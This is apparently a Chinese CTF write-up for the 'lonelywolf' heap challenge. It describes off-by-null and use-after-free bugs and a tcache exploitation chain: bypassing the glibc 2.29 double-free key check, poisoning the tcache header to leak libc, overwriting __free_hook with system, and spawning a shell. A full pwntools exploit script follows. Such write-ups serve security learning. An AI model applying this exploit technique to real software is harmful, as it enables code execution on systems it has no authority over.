显然是全开。
add
只能控制一个chunk,size也有限制。
edit
以回车结束。
这里有一个off by null。
show
就输出。
free
有个uaf。
整个看下来,那个index就是那种逗你玩那种。
然后libc当时给的是2.27,但是做半天发现是最新的2.27……里面更新了对那些tcache链表的那些检查,就挺离谱的,所以可以当成2.29来做。
那想想怎么来利用那个uaf。
uaf,在得到libc的条件下,我们可以直接攻击free_hook,来getshell。
但问题就是怎么来得到libc的地址。
现在的情况是有输出函数,但是chunk的大小收到了限制。
我们只能去攻击tcache头
也就是
也就是tcache_perthread_struct,我们直接先攻击他,然后对他进行污染,也就是把counts数组中对0x250chunk的count改的比较大,因为tcache头大小就是0x250.
然后直接free掉,就可以泄露libc地址。
那么问题来了,我们还是要去用double free的,因为它只能利用一个chunk。
libc是2.29,我们还要去做一下bypass。
libc2.29是怎样去限制double free的,他会在bk的位置去加一个key值,free的时候如果这个地方是这个值,就会检查链表中是否已经有了这个chunk。这个值是个啥?
也就是我们的tcache头的内容部分的地址。
我们只要把他改掉就好了,那么我们的思路就非常清晰了。
绕过libc2.29对double free的检查,对tcache头进行污染,然后泄露libc地址,攻击free_hook就可以了。
要注意一个小细节,在我们攻击tcache头的时候,一定要保证链表空空,不然会导致链表中出现tcacahe fd的值,导致一会malloc错误。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
r = process("./lonelywolf")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")
def allocate(size):
r.sendlineafter("Your choice: ", "1")
r.sendlineafter("Index: ", "0")
r.sendlineafter("Size: ", str(size))
def edit(content):
r.sendlineafter("Your choice: ", "2")
r.sendlineafter("Index: ", "0")
r.sendlineafter("Content: ", content)
def show():
r.sendlineafter("Your choice: ", "3")
r.sendlineafter("Index: ", "0")
def delete():
r.sendlineafter("Your choice: ", "4")
r.sendlineafter("Index: ", "0")
allocate(0x78)
delete()
edit('a' * 0x10)
delete()
allocate(0x78) #为了让链表清空,防止一会malloc出错
show()
r.recvuntil("Content: ")
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(p64(heap_addr+0x10))
allocate(0x78)
allocate(0x78)
edit('a' * 64)
delete()
show()
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
gdb.attach(r)
allocate(0x78)
delete()
edit(p64(free_hook))
allocate(0x78)
allocate(0x78)
edit(p64(system_addr))
allocate(0x30)
edit("/bin/sh\x00")
delete()
r.interactive()